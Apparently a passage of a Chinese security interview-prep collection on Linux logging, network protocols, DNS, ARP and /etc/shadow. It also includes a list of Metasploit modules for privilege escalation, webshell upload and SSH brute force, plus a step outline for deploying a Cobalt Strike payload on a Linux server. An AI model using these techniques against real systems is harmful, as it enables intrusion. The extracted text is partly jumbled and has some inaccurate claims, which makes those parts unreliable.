mark.* /dev/console
7 、第一列为日志类型和日志优先级的组合,每个类型和优先级的组合称为一个选择器;后面一列为保存日志的文件、服务器,或输出日志#
的终端。syslog 进程根据选择器决定如何操作日志。对配置文件说明:
日志类型和优先级由点号(。)分开,例如 kern.debug 表示由内核产生的调试信息。kern.debug 的优先级大于 debug。星号(*)表示所有,例 如 .debug 表示所有类型的调试信息,kern. 表示由内核产生的所有消息。可以使用逗号(,)分隔多个日志类型,使用分号(;)分隔多个选择 器。
对日志的操作包括:
将日志输出到文件,例如 /var/log/maillog 或 /dev/console。将消息发送给用户,多个用户用逗号(,)分隔,例如 root, amrood。通过管 道将消息发送给用户程序,注意程序要放在管道符(|)后面。将消息发送给其他主机上的 syslog 进程,这时 /etc/syslog.conf 文件后面一列为 以@开头的主机名,例如@see.xidian.edu.cn。
8 、logger 是Shell命令,可以通过该命令使用 syslog 的系统日志模块,还可以从命令行直接向系统日志文件写入一行信息。
logger命令的语法为:
logger [-i] [-f filename] [-p priority] [-t tag] [message.。。]
- f filename:将 filename 文件的内容作为日志。
- i :每行都记录 logger 进程的ID。
- p priority :指定优先级;优先级必须是形如 facility.priority 的完整的选择器,默认优先级为 user.notice。
- t tag :使用指定的标签标记每一个记录行。
message :要写入的日志内容,多条日志以空格为分隔;如果没有指定日志内容,并且 -f filename 选项为空,那么会把标准输入作为日志 内容。
9 、日志转储也叫日志回卷或日志轮转。Linux中的日志通常增长很快,会占用大量硬盘空间,需要在日志文件达到指定大小时分开存储。 syslog 只负责接收日志并保存到相应的文件,但不会对日志文件进行管理,因此经常会造成日志文件过大,尤其是WEB服务器,轻易就能超 过1G,给检索带来困难。 大多数Linux发行版使用 logrotate 或 newsyslog 对日志进行管理。logrotate 程序不但可以压缩日志文件,减少 存储空间,还可以将日志发送到指定 E-mail,方便管理员及时查看日志。
10 、例如,规定邮件日志 /var/log/maillog 超过1G时转储,每周一次,那么每隔一周 logrotate 进程就会检查 /var/log/maillog 文件的大 小:
如果没有超过1G,不进行任何操作。
如果在1G~2G之间,就会创建新文件 /var/log/maillog.1,并将多出的1G日志转移到该文件,以给 /var/log/maillog 文件瘦身。
如果在2G~3G之间,会继续创建新文件 /var/log/maillog.2,并将 /var/log/maillog.1 的内容转移到该文件,将 /var/log/maillog 的内容转移 到 /var/log/maillog.1,以保持 /var/log/maillog 文件不超过1G。
可以看到,每次转存都会创建一个新文件(如果不存在),命名格式为日志文件名加一个数字(从 1 开始自动增长或以当前日期为后缀),以保持 当前日志文件和转存后的日志文件不超过指定大小
11 、logrotate 的主要配置文件是 /etc/logrotate.conf,/etc/logrotate.d 目录是对 /etc/logrotate.conf 的补充,或者说为了不使 /etc/logrotate.conf 过大而设置。
注意:include 允许管理员把多个分散的文件集中到一个,类似于C语言的 #include,将其他文件的内容包含进当前文件。 include 非常有 用,一些程序会把转储日志的配置文件放在 /etc/logrotate.d 目录,这些配置文件会覆盖或增加 /etc/logrotate.conf 的配置项,如果没有指 定相关配置,那么采用 /etc/logrotate.conf 的默认配置。 所以,建议将 /etc/logrotate.conf 作为默认配置文件,第三方程序在 /etc/logrotate.d 目录下自定义配置文件。 logrotate 也可以作为命令直接运行来修改配置文件。
linux系统日志在哪里
日志文件的默认路径是:/var/log
下面是几个重要的日志文件的路径及其包含的信息:
/var/log/syslog:它和/etc/log/messages日志文件不同,它只记录警告信息,常常是系统出问题的信息。
/var/log/messages:包括整体系统信息,其中也包含系统启动期间的日志。此外,还包括mail,cron,daemon,kern和auth等内容。
/var/log/user.log:记录所有等级用户信息的日志。
/var/log/auth.log:包含系统授权信息,包括用户登录和使用的权限机制等。
/var/log/daemon.log:包含各种系统后台守护进程日志信息。
/var/log/kern.log:包含内核产生的日志,有助于在定制内核时解决问题。
三十六、你知道 linux 的 msf 模块有哪些攻击命令?#
Metasploit Framework(简称MSF)是一款常用的渗透测试工具,提供了丰富的攻击模块用于渗透测试。以下是一些常见的 Linux MSF 模 块以及对应的攻击命令:
1.exploit/multi/handler:用于创建一个监听器,等待目标主机上线,从而实现反向 shell 或 Meterpreter shell。
2.exploit/linux/local/udev_netlink:用于利用 udev 中的漏洞,提升当前用户的权限到 root。
3.exploit/linux/local/sudo:用于利用 sudo 的漏洞,提升当前用户的权限到 root。
4.exploit/unix/webapp/wp_admin_shell_upload:用于利用 WordPress 后台文件上传漏洞,上传一个 PHP 一句话木马到目标服务器。
5.exploit/unix/ftp/vsftpd_234_backdoor:用于利用 vsftpd 2.3.4 中的后门漏洞,获取 root 权限。
6.exploit/linux/postgres/postgres_payload:用于在 PostgreSQL 数据库中执行恶意代码,获取数据库管理员权限。
7.auxiliary/scanner/ssh/ssh_login:用于暴力破解 SSH 的用户名和密码。
8.auxiliary/scanner/http/wordpress_scanner:用于扫描 WordPress 站点的漏洞,并提供相应的利用模块。
三十七、cs 怎么上线 Linux 服务器?#
要将 CS(Cobalt Strike)上线到 Linux 服务器上,需要进行以下步骤:
1. 下载 Cobalt Strike 客户端:从官方网站(https://www.cobaltstrike.com/)下载最新版的 Cobalt Strike 客户端,并解压缩到本地目
录。
2. 生成监听器:在 Cobalt Strike 客户端中,使用“New Listener”功能生成一个监听器,并配置好监听器的参数(如 IP 地址、端口号、协
议等)。
3. 生成 Payload:使用 Cobalt Strike 客户端中的“Generate Payload”功能,生成一个用于上线的 Payload。
4. 上传 Payload 到目标服务器:将生成的 Payload 上传到目标 Linux 服务器上,可以使用 SCP 命令或其他文件传输工具进行上传。
5. 执行 Payload:在目标 Linux 服务器上执行 Payload,可以使用命令行工具(如 Bash 或 Python)或其他方法(如反向 shell)来执行
Payload。
6. 建立连接:在 Cobalt Strike 客户端中,等待目标服务器上的 Payload 建立连接,并与目标服务器建立反向连接。
7. 控制目标服务器:在 Cobalt Strike 客户端中,使用各种功能(如 Meterpreter shell、Beacon shell、Portfwd 等)来控制目标服务
器。第三章 协议#
一、说说 https 、http 区别是什么?了解 tcp/ip 吗?说说各层协议 get 和#
post 区别?#
HTTP 与 HTTPS 的区别#
1 、HTTPS 协议需要到 CA (Certificate Authority,证书颁发机构)申请证书,一般免费证书较少,因而需要一定费用。(以前的网易官网是 http,而网易邮箱是 https 。)
2 、HTTP 是超文本传输协议,信息是明文传输,HTTPS 则是具有安全性的 SSL 加密传输协议。
3 、HTTP 和 HTTPS 使用的是完全不同的连接方式,用的端口也不一样,前者是 80 ,后者是 443 。
4 、HTTP 的连接很简单,是无状态的。HTTPS 协议是由 SSL+HTTP 协议构建的可进行加密传输、身份认证的网络协议,比 HTTP 协议安 全。(无状态的意思是其数据包的发送、传输和接收都是相互独立的。无连接的意思是指通信双方都不长久的维持对方的任何信息。)
TCP/IP协议#
丰富多彩的互联网世界实际上就是一些数据在网络、计算机或者应用程序之间按照一定的规则传来传去,这些规则就是互联网的通信协议,#
在互联网发展之初,只有TCP(传输控制协议)和IP(网际协议)这两种协议,但是随着互联网的发展,数据的类型也越来特多,从最初的#
文本到图片视频等各种各样的数据类型,于是在TCP和IP这两个协议的基础上开始不断的拓展丰富新的协议,形成了一个通信协议大集合,#
也就是我们常说的协议族,统称为TCP/IP,随后便出现了我们经常听说的OSI七层模型。#
OSI模型简单来说就是所有数据在传输的过程中要依次经过这七层模型,每层有不同的功能和用途。#
既然叫TCP/IP,那就意味着TCP和IP总是协同工作的,TCP负责应用软件和网络软件之间的通信,IP负责计算机之间的通信,TCP 负责将数据#
分割并装入IP包,然后在它们到达的时候重新组合它们,IP负责将包发送至接受者。#
IP地址#
TCP/IP使用 4 组 0 到 255 之间的数字来为计算机编址,也就是计算机的ip地址。每个计算机必须有一个IP地址才能够连入因特网。每个IP包必须 有一个地址才能够发送到另一台计算机。
域名#
12 位阿拉伯数字的IP地址不太好记忆,于是就想给它们起一个名字便于记忆,这个名字统称就叫“域名”,当你输入一个像#
http://www.baidu.com这样的域名后,域名就会被一种 叫做DNS 程序翻译为数字。在全世界,数量庞大的 DNS 服务器被连入因特网。 DNS 服务器负责将域名翻译为 TCP/IP 地址,当一个新的域名连同其 TCP/IP 地址一起注册后,全世界的 DNS 服务器都会对此信息进行更 新。
协议族#
那么在TCP/IP协议族中,除了TCP和IP还有哪些呢?#
协议名称 说明#
TCP - 传输控制协议#
TCP 用于从应用程序到网络的数据传输控制。#
TCP 负责在数据传送之前将它们分割为 IP 包,然#
后在它们到达的时候将它们重组。#
IP - 网际协议(Internet Protocol)IP 负责计算机之间的通信。#
IP 负责在因特网上发送和接收数据包。#
HTTP - 超文本传输协议(Hyper Text Transfer
Protocol)HTTP 负责 web 服务器与 web 浏览器之间的通
信。
HTTP 用于从 web 客户端(浏览器)向 web 服
务器发送请求,并从 web 服务器向 web 客户端
返回内容(网页)。HTTPS - 安全的 HTTP(HTTP Secure)HTTPS 负责在 web 服务器和 web 浏览器之间的
安全通信。
作为有代表性的应用,HTTPS 会用于处理信用卡
交易和其他的敏感数据。SSL - 安全套接字层(Secure Sockets Layer) SSL 协议用于为安全数据传输加密数据。SMTP - 简易邮件传输协议(Simple Mail
Transfer Protocol)SMTP 用于电子邮件的传输。#
MIME - 多用途因特网邮件扩展(Multi-purpose
Internet Mail Extensions)MIME 协议使 SMTP 有能力通过 TCP/IP 网络传#
输多媒体文件,包括声音、视频和二进制数据。#
IMAP - 因特网消息访问协议(Internet Message
Access Protocol)IMAP 用于存储和取回电子邮件。#
POP - 邮局协议(Post Office Protocol)POP 用于从电子邮件服务器向个人电脑下载电子#
邮件。#
FTP - 文件传输协议(File Transfer Protocol) FTP 负责计算机之间的文件传输NTP - 网络时间协议(Network Time Protocol) NTP 用于在计算机之间同步时间(钟)。DHCP - 动态主机配置协议(Dynamic Host
Configuration Protocol)DHCP 用于向网络中的计算机分配动态 IP 地址。#
SNMP - 简单网络管理协议(Simple Network
Management Protocol)SNMP 用于计算机网络的管理。#
LDAP - 轻量级的目录访问协议(Lightweight
Directory Access Protocol)LDAP 用于从因特网搜集关于用户和电子邮件地#
址的信息。#
ICMP - 因特网消息控制协议(Internet Control
Message Protocol)ICMP 负责网络中的错误处理。#
ARP - 地址解析协议(Address Resolution
Protocol)ARP - 用于通过 IP 来查找基于 IP 地址的计算机网#
卡的硬件地址。#
RARP - 反向地址转换协议(Reverse Address
Resolution Protocol)RARP 用于通过 IP 查找基于硬件地址的计算机网#
卡的 IP 地址。#
BOOTP - 自举协议(Boot Protocol) BOOTP 用于从网络启动计算机。PPTP - 点对点隧道协议(Point to Point
Tunneling Protocol)PPTP 用于私人网络之间的连接(隧道)。#
get 和 post 区别#
1. GET在浏览器回退时是无害的,而POST会再次提交请求。#
2. GET产生的URL地址可以被Bookmark,而POST不可以。
3. GET请求会被浏览器主动cache,而POST不会,除非手动设置。
4. GET请求只能进行url编码,而POST支持多种编码方式。
5. GET请求参数会被完整保留在浏览器历史记录里,而POST中的参数不会被保留。
6. GET请求在URL中传送的参数是有长度限制的,而POST么有。
7. 对参数的数据类型,GET只接受ASCII字符,而POST没有限制。
8. GET比POST更不安全,因为参数直接暴露在URL上,所以不能用来传递敏感信息。
9. GET参数通过URL传递,POST放在Request body中。二、http 的请求方式,常见的请求头有哪些? connection 后面跟的参数是什#
么?有什么含义?说一下 cookie 和 session 的区别#
HTTP Request Header 请求头
Accept:指定客户端能够接收的内容类型。Accept-Charset:浏览器可以接受的字符编码集。Accept-Encoding:指定浏览器可以支持的web服务器返回内容压缩编码类型。Accept-Language:浏览器可接受的语言。Accept-Ranges:可以请求网页实体的一个或者多个子范围字段。AuthorizationHTTP:授权的授权证书。Cache-Control:指定请求和响应遵循的缓存机制。Connection:表示是否需要持久连接。(HTTP 1.1默认进行持久连接)CookieHTTP:请求发送时,会把保存在该请求域名下的所有cookie值一起发送给web服务器。Content-Length:请求的内容长度。cookie 和 session 的区别:
cookie数据保存在客户端,session数据保存在服务端。
session 简单的说,当你登陆一个网站的时候,如果web服务器端使用的是session,那么所有的数据都保存在服务器上,客户端每次请求服务器的时 候会发送当前会话sessionid,服务器根据当前sessionid判断相应的用户数据标志,以确定用户是否登陆或具有某种权限。由于数据是存储 在服务器上面,所以你不能伪造。
cookie sessionid是服务器和客户端连接时候随机分配的,如果浏览器使用的是cookie,那么所有数据都保存在浏览器端,比如你登陆以后,服务器 设置了cookie用户名,那么当你再次请求服务器的时候,浏览器会将用户名一块发送给服务器,这些变量有一定的特殊标记。服务器会解释 为cookie变量,所以只要不关闭浏览器,那么cookie变量一直是有效的,所以能够保证长时间不掉线。
如果你能够截获某个用户的cookie变量,然后伪造一个数据包发送过去,那么服务器还是 认为你是合法的。所以,使用cookie被攻击的可能 性比较大。
如果cookie设置了有效值,那么cookie会保存到客户端的硬盘上,下次在访问网站的时候,浏览器先检查有没有cookie,如果有的话,读取 cookie,然后发送给服务器。
所以你在机器上面保存了某个论坛cookie,有效期是一年,如果有人入侵你的机器,将你的cookie拷走,放在他机器下面,那么他登陆该网 站的时候就是用你的身份登陆的。当然,伪造的时候需要注意,直接copy cookie文件到 cookie目录,浏览器是不认的,他有一个index.dat 文件,存储了 cookie文件的建立时间,以及是否有修改,所以你必须先要有该网站的 cookie文件,并且要从保证时间上骗过浏览器
两个都可以用来存私密的东西,session过期与否,取决于服务器的设定。cookie过期与否,可以在cookie生成的时候设置进去。
区别对比: (1)cookie数据存放在客户的浏览器上,session数据放在服务器上 (2)cookie不是很安全,别人可以分析存放在本地的COOKIE并进行COOKIE欺骗,如果主要考虑到安全应当使用session (3)session会在一定时间内保存在服务器上。当访问增多,会比较占用你服务器的性能,如果主要考虑到减轻服务器性能方面,应当使用 COOKIE (4)单个cookie在客户端的限制是3K,就是说一个站点在客户端存放的COOKIE不能3K。 (5)所以:将登陆信息等重要信息存放为SESSION;其他信息如果需要保留,可以放在COOKIE中
三、说一下 http 各个状态码#
Content-Type:请求的与实体对应的MIME信息。Date:请求发送的日期和时间。Expect:请求的特定的服务器行为。From:发出请求的用户的Email。Host:指定请求的服务器的域名和端口号。If-Match:只有请求内容与实体相匹配才有效。If-Modified-Since:如果请求的部分在指定时间之后被修改则请求成功,未被修改则返回 304 代码。If-None-Match:如果内容未改变返回 304 代码,参数为服务器先前发送的Etag,与服务器回应的Etag比较判断是否改变。If-Range:如果实体未改变,服务器发送客户端丢失的部分,否则发送整个实体。If-Unmodified-Since:只在实体在指定时间之后未被修改才请求成功。Max-Forwards:限制信息通过代理和网关传送的时间。Pragma:用来包含实现特定的指令。Proxy-Authorization:连接到代理的授权证书。Range:只请求实体的一部分,指定范围。Referer:先前网页的地址,当前请求网页紧随其后,即来路。TE:客户端愿意接受的传输编码,并通知服务器接受接受尾加头信息。Upgrade:向服务器指定某种传输协议以便服务器进行转换(如果支持。User-AgentUser-Agent:的内容包含发出请求的用户信息。Via:通知中间网关或代理服务器地址,通信协议。Warning:关于消息实体的警告信息HTTP状态码分类#
1xx信息,表示临时响应并需要请求者继续执#
行操作#
2xx 成功,操作被成功接收并处理3xx表示要完成请求,需要进一步操作。 通#
常,这些状态代码用来重定向#
4xx客户端错误,请求包含语法错误或无法完#
成请求#
5xx这些状态代码表示服务器在尝试处理请求#
时发生内部错误。 这些错误可能是服务#
器本身的错误,而不是请求出错#
一、什么是状态码#
二、状态码类型#
四、简述一下 tcp 三次握手过程应用层协议有哪些?#
TCP握手协议#
在TCP/IP协议中,TCP协议提供可靠的连接服务,采用三次握手建立一个连接.#
第一次握手:建立连接时,客户端发送syn包(syn=j)到服务器,并进入SYN_SEND状态,等待服务器确认;
SYN:同步序列编号(Synchronize Sequence Numbers)
第二次握手:服务器收到syn包,必须确认客户的SYN(ack=j+1),同时自己也发送一个SYN包(syn=k),即SYN+ACK包,此时服务器进入SYN_RECV 状态;
第三次握手:客户端收到服务器的SYN+ACK包,向服务器发送确认包ACK(ack=k+1),此包发送完毕,客户端和服务器进入ESTABLISHED状态,完 成三次握手.
完成三次握手,客户端与服务器开始传送数据
A与B建立TCP连接时:首先A向B发SYN(同步请求),然后B回复SYN
+ACK(同步请求应答),最后A回复ACK确认,这样TCP的一次连接(三次握手)的过程就建立了!
一、TCP报文格式
TCP/IP协议的详细信息参看《TCP/IP协议详解》三卷本。下面是TCP报文格式图:
图1 TCP报文格式#
上图中有几个字段需要重点介绍下:#
(1)序号:Seq序号,占 32 位,用来标识从TCP源端向目的端发送的字节流,发起方发送数据时对此进行标记。
(2)确认序号:Ack序号,占 32 位,只有ACK标志位为 1 时,确认序号字段才有效,Ack=Seq+1。
(3)标志位:共 6 个,即URG、ACK、PSH、RST、SYN、FIN等,具体含义如下:
(A)URG:紧急指针(urgent pointer)有效。
(B)ACK:确认序号有效。
(C)PSH:接收方应该尽快将这个报文交给应用层。
(D)RST:重置连接。
(E)SYN:发起一个新连接。
(F)FIN:释放一个连接。
需要注意的是:
(A)不要将确认序号Ack与标志位中的ACK搞混了。
(B)确认方Ack=发起方Seq+1,两端配对。
二、三次握手
所谓三次握手(Three-Way Handshake)即建立TCP连接,就是指建立一个TCP连接时,需要客户端和服务端总共发送 3 个包以确认连接的建 立。在socket编程中,这一过程由客户端执行connect来触发,整个流程如下图所示:
HTTP状态码(HTTP Status Code)是用以表示网页服务器HTTP响应状态的 3 位数字代码。它由 RFC2616 规范定义的 ,并得到RFC 2518、
RFC 2817、RFC 2295、RFC 2774、RFC 4918等规范扩展。所有状态码的第一个数字代表了响应的五种状态之一,其分类如下:图2 TCP三次握手#
(1)第一次握手:Client将标志位SYN置为 1 ,随机产生一个值seq=J,并将该数据包发送给Server,Client进入SYN_SENT状态,等待Server确 认。
(2)第二次握手:Server收到数据包后由标志位SYN=1知道Client请求建立连接,Server将标志位SYN和ACK都置为 1 ,ack=J+1,随机产生一 个值seq=K,并将该数据包发送给Client以确认连接请求,Server进入SYN_RCVD状态。
(3)第三次握手:Client收到确认后,检查ack是否为J+1,ACK是否为 1 ,如果正确则将标志位ACK置为 1 ,ack=K+1,并将该数据包发送给 Server,Server检查ack是否为K+1,ACK是否为 1 ,如果正确则连接建立成功,Client和Server进入ESTABLISHED状态,完成三次握手,随 后Client与Server之间可以开始传输数据了。
SYN攻击:
在三次握手过程中,Server发送SYN-ACK之后,收到Client的ACK之前的TCP连接称为半连接(half-open connect),此时Server处于 SYN_RCVD状态,当收到ACK后,Server转入ESTABLISHED状态。SYN攻击就是Client在短时间内伪造大量不存在的IP地址,并向Server不断 地发送SYN包,Server回复确认包,并等待Client的确认,由于源地址是不存在的,因此,Server需要不断重发直至超时,这些伪造的SYN包 将产时间占用未连接队列,导致正常的SYN请求因为队列满而被丢弃,从而引起网络堵塞甚至系统瘫痪。SYN攻击时一种典型的DDOS攻击, 检测SYN攻击的方式非常简单,即当Server上有大量半连接状态且源IP地址是随机的,则可以断定遭到SYN攻击了,使用如下命令可以让之 现行:
#netstat -nap | grep SYN_RECV
三、四次挥手
三次握手耳熟能详,四次挥手估计就
,所谓四次挥手(Four-Way Wavehand)即终止TCP连接,就是指断开一个TCP连接时,需要客户端和服务端总共发送 4 个包以确认连接的断 开。在socket编程中,这一过程由客户端或服务端任一方执行close来触发,整个流程如下图所示:
图3 TCP四次挥手#
由于TCP连接时全双工的,因此,每个方向都必须要单独进行关闭,这一原则是当一方完成数据发送任务后,发送一个FIN来终止这一方向的#
连接,收到一个FIN只是意味着这一方向上没有数据流动了,即不会再收到数据了,但是在这个TCP连接上仍然能够发送数据,直到这一方向#
也发送了FIN。首先进行关闭的一方将执行主动关闭,而另一方则执行被动关闭,上图描述的即是如此。#
(1)第一次挥手:Client发送一个FIN,用来关闭Client到Server的数据传送,Client进入FIN_WAIT_ 1 状态。
(2)第二次挥手:Server收到FIN后,发送一个ACK给Client,确认序号为收到序号+1(与SYN相同,一个FIN占用一个序号),Server进入 CLOSE_WAIT状态。
(3)第三次挥手:Server发送一个FIN,用来关闭Server到Client的数据传送,Server进入LAST_ACK状态。
(4)第四次挥手:Client收到FIN后,Client进入TIME_WAIT状态,接着发送一个ACK给Server,确认序号为收到序号+1,Server进入CLOSED 状态,完成四次挥手。
上面是一方主动关闭,另一方被动关闭的情况,实际中还会出现同时发起主动关闭的情况,具体流程如下图:
图 4 同时挥手#
流程和状态在上图中已经很明了了,在此不再赘述,可以参考前面的四次挥手解析步骤。#
五、简述 dns#
1.DNS提供的服务#
( 1 )域名想IP地址的翻译#
我们访问互联网习惯使用的是域名(主机名),而机器能识别的是IP地址,此时我们就十分需要一个域名解析系统DNS来进行域名到IP地址#
的转换。#
( 2 )主机别名#
在我们日常生活中,当我们的名字比较难记或者时难写时,在日常生活中,我们会给自己或者时朋友会给我们一个或几个别名。正如我们的#
人一样,当主机名比较复杂时,为便于记忆,拥有复杂名主机名的主机名能拥有一个或者多个别名最原始的那个复杂的主机名被称为规范主#
机名,别名(当存在时)会比主机名好记,放在我们生活中来看,规范主机名就相当于我们身份证上的名字,而别名就相当于我们生活中的#
外号了。#
应用程序可以调用DNS来获取主机别名对应的主机规范名以及主机IP地址。#
( 3 )邮件服务器别名#
电子邮件应用程序可以调用DNS,对提供的邮件服务器别名进行解析,以获取对应的主机规范名以及主机IP地址。#
( 4 )负载均衡#
DNS也用在冗余的服务器(如Web服务器)之间进行负载均衡,繁忙的站点被冗余分布在不同的服务器上,每台服务器均运行在不同的端系 统上,每个都有着不同的IP地址,由于这些冗余的的Web服务器,一个IP地址集合因此与同一个规范主机名相联系。DNS数据库存储着这些 IP地址集合。 当客户对映射到某地址集合中名字发出一个DNS请求时,该服务器用整个IP地址集合进行响应,但在每个回答中循环这些地址次序。而每次
前言:DNS即域名系统,是互联网的核心服务。客户都是向排在最前面(第一个)服务器发送HTTP请求报文,所以DNS在这些冗余的Web服务器之间分配了负载,也就是实现了负载均 衡。
2.DNS工作原理#
运行一个应用程序(如web浏览器或者邮件浏览器)需要将主机名转换IP。 ① 应用程序调用DNS的客户端,并且指明需要被转换的主机名(在基于UNIX的机器上,要调用getbyname()函数来实现这种转换)。 ② 用户主上的DNS接收到吼,像网络中发送一个DNS查询报文。 #####所有的DNS请求和回答都是使用UDP数据报经端口 53 发送###### ③ 经过时延后,主机收到一个提供了我们所需映射的DNS回答报文,此结果会传递到调用DNS的应用程序。
3.为什么采用分布式DNS#
因为使用集中式DNS会产生以下的问题#
1. 单点故障 。因为是集中式DNS,所以如果该DNS服务器崩溃,那么整个Internet也会随之瘫痪
2. 通信容量 。DNS要处理所有的DNS请求
3. 远距离的集中式数据库 会导致严重时延问题,如果DNS放在美国,而我们在中国发送DNS请求
4. 维护 要实时更新和保存所有的因特网主机4.DNS服务器的层次结构#
DNS一般分为三类服务器根服务器、顶级服务器、权威服务器。还有一类服务器成为本地服务器(不属于DNS服务器的层次结构),本地服#
务器可以存储一段时间内访问过的服务器IP,并将主机与主机名与IP地址保存一段时间(一般两天)。#
1. 根服务器#
6. 顶级服务器#
7. 权威服务器#
5.查询方式#
(->表示发送请求,或者响应回答)#
1. 递归查询 递归查询是一种DNS 服务器的查询模式,在该模式下DNS 服务器接收到客户机请求,必须使用一个准确的查询结果回复客户#
机。#
在递归的模式下,用户主机和本地DNS服务器都是只发送一次请求。#
过程如下#
1. 用户请求主机->本地DNS服务器->根DNS服务器->TLD(顶级服务器)->权威DNS服务器(得到映射结果)#
以DNS域名解析系统为例2. 用户主机<-本地DNS服务器<-根DNS服务器<-TLD(顶级DNS服务器)<-权威DNS服务器(得到映射结果)#
2.迭代查询#
DNS 服务器另外一种查询方式为迭代查询,DNS 服务器会向客户机提供其他能够解析查询请求的DNS 服务器地址,当客户机发送查询请求#
时,DNS 服务器并不直接回复查询结果,而是告诉客户机另一台DNS 服务器地址,客户机再向这台DNS 服务器提交请求,依次循环直到返#
回查询的结果为止。#
在迭代的模式下,用户主机只发送一次请求,本地服务发送不少于一次请求。#
过程如下#
1. 用户请求主机->本地DNS服务器->根服务器,根服务器->本地DNS服务器(根返回够解析查询请求的TLD DNS 服务器地址给本地服务#
器)#
2. 根据得到在根服务器中得到TLD DNS服务器 ,#
本地DNS服务器->TLD(顶级服务器),TLD(顶级服务器)->本地DNS服务器(返回够解析查询请求的权威DNS 服务器地址给本地服务器)#
3. 本地DNS服务器->权威DNS服务器,权威DNS服务器->,本地DNS服务器(返回够解析查询结果给本地服务器)#
4. 本地DNS服务器 -> 用户请求主机#
六、简述 dns 解析过程#
DNS(域名系统)解析,就是将域名解析为该主机对应的IP地址。#
假定域名为m.xyz.com的主机想知道另一个主机(域名为y.abc.com)的IP地址,譬如我访问域名为y.abc.com的网站,就得查询要访问的主 机的IP地址。下面是查询步骤:
1 、主机m.xyz.com先向本地域名服务器dns.xyz.com进行递归查询;(所谓递归查询意思就是,如果主机所询问的本地域名服务器不知道被 查询域名的IP地址,那么本都域名服务器就以DNS客户的身份,向其他的根域名服务器继续发送查询请求报文,即替该主机去查询。)找到 IP则返回,没有则继续第 2 步;
2 、本地域名服务器采用迭代查询,它先向一个根域名服务器查询;查到则给出IP,没有则继续 3 ;
3 、根域名服务器告诉本地服务器,下一次应该查询的顶级域名服务器dns.com的IP地址;
4 、本地域名服务器向顶级域名服务器dns.com进行查询;
5 、顶级域名服务器dns.com告诉本地域名服务器,下一次应查询的权限域名服务器dns.abc.com的IP地址;
6 、本地域名服务器向权限域名服务器dns.abc.com进行查询;
7 、权限域名服务器dns.abc.com告诉本地域名服务器,所查询的主机的IP地址;
8 、本地域名服务器把最后的查询结果告诉主机m.xyz.com。
注:一般的,为了提高DNS查询效率,并减轻根域名服务器的负荷和减少因特网上的DNS查询报文数量,在域名服务器中广泛的使用了告诉 缓存;高速缓存用来存放最近查询过的域名以及从何处获得域名映射信息的记录。通常有的主机中也有高速缓存,在启动时从本地域名服务 器下载名字和地址的全部缓存。可以减少网络开销。
七、说一下 ip 协议、http 协议、arp 协议工作原理#
IP协议为上层协议提供无状态、无连接、不可靠的服务。#
无状态:内核中不需要维护状态信息#
无连接:每次发包都要指定对方IP地址#
不可靠:不能保证数据送达不会试图重发#
总结:简单高效, 需要上层协议处理乱序、重复、丢包重传等问题。#
HTTP是HyperTextTransfer Protocol(超文本传输协议)的缩写。HTTP是一个应用层协议,由请求和响应构成,是一个标准的客户端服务 器模型。HTTP是一个无状态的协议。HTTP协议通常承载于TCP协议之上,HTTPS就是也承载于TLS或SSL协议层之上。HTTP由请求和响应构 成,是一个标准的客户端服务器模型(B/S)。HTTP协议永远都是客户端发起请求,服务器回送响应。HTTP协议是一个双向协议:我们在上 网冲浪时,浏览器是请求方A,百度网站就是应答方B。双方约定用HTTP协议来通信,于是浏览器把请求数据发送给网站,网站再把一些数 据返回给浏览器,最后由浏览器渲染在屏幕,就可以看到图片、视频了。
1.Host1发送数据前设备会先查找自己的ARP缓存表,如果有直接封装到帧里进行发送,如ARP缓存表没有对应IP地址的MAC信息,则会通过 ARP进行获取
2.Host1会发送ARP Request报文来请求获取Host2的MAC地址(因为帧内没有目的MAC地址是不可以进行传输的,所以ARP报文内的目的 MAC地址为全F)
3.因为ARP Request目的MAC地址为 FF-FF-FF-FF-FF-FF(广播数据帧),所以交换机收到后会直接对该帧进行泛洪(广播)操作,并且学习 该IP的MAC地址以及端口号到交换机自己的MAC缓存表
4.所有主机都接受到该ARP Request报文后,都会检查该帧的目的IP地址与自身的IP地址是否匹配,不匹配就直接丢弃,Host发现与自己IP 地址匹配,就会先把发送端的IP与MAC地址信息记录到自己的ARP缓存表之中,然后Host2就会发送ARP Reply报文(因为刚才进行了学习所 以知道Host1的MAC地址,所以ARP Reply是单播数据帧)来进行响应
5.交换机收到单播数据帧以后,会对该帧进行转发操作,并且学习Host2的MAC地址和端口号到自己的MAC缓存表
6.Host1收到Host2的ARP Reply报文后会检查目的IP与自己IP地址字段是否相同,如果匹配就将回应报文的源IP地址与MAC地址学习到自己 的ARP缓存表之中,然后就可以传输信息进行通信
总结
**- —-Host1查找自身缓存表
- —-发送广播ARP Request报文
- —-交换机对该广播帧直接执行泛洪操作并且进行学习
- —-Host2查询到是在问询自己,先进行学习再进行回复
- —-交换机进行转发该单播数据帧,并且学习MAC地址信息和端口号
- —-Host1收到回复后进行学习到ARP缓存表中**
八、说一下 Linux 根目录下 etc 下的 shadon 文件的作用#
/etc/shadow 文件,用于存储 Linux 系统中用户的密码信息,又称为“影子文件”。
前面介绍了 /etc/passwd 文件,由于该文件允许所有用户读取,易导致用户密码泄露,因此 Linux 系统将用户的密码信息从 /etc/passwd 文 件中分离出来,并单独放到了此文件中。
/etc/shadow 文件只有 root 用户拥有读权限,其他用户没有任何权限,这样就保证了用户密码的安全性。
注意,如果这个文件的权限发生了改变,则需要注意是否是恶意攻击。
介绍此文件之前,我们先打开看看,执行如下命令:
[root@localhost ~]#vim /etc/shadow root: $6$9w5Td6lg $bgpsy3olsq9WwWvS5Sst2W3ZiJpuCGDY.4w4MRk3ob/i85fl38RH15wzVoom ff9isV1 PzdcXmixzhnMVhMxbvO:15775:0:99999:7::: bin::15513:0:99999:7::: daemon::15513:0:99999:7::: …省略部分输出…
同 /etc/passwd 文件一样,文件中每行代表一个用户,同样使用 “:” 作为分隔符,不同之处在于,每行用户信息被划分为 9 个字段。每个字 段的含义如下:
用户名:加密密码:最后一次修改时间:最小修改时间间隔:密码有效期:密码需要变更前的警告天数:密码过期后的宽限时间:账号失效 时间:保留字段
九、https 是什么架构?#
HTTP+ 加密 + 认证 + 完整性保护 =HTTPS#
HTTP 加上加密处理和认证以及完整性保护后即是 HTTPS#
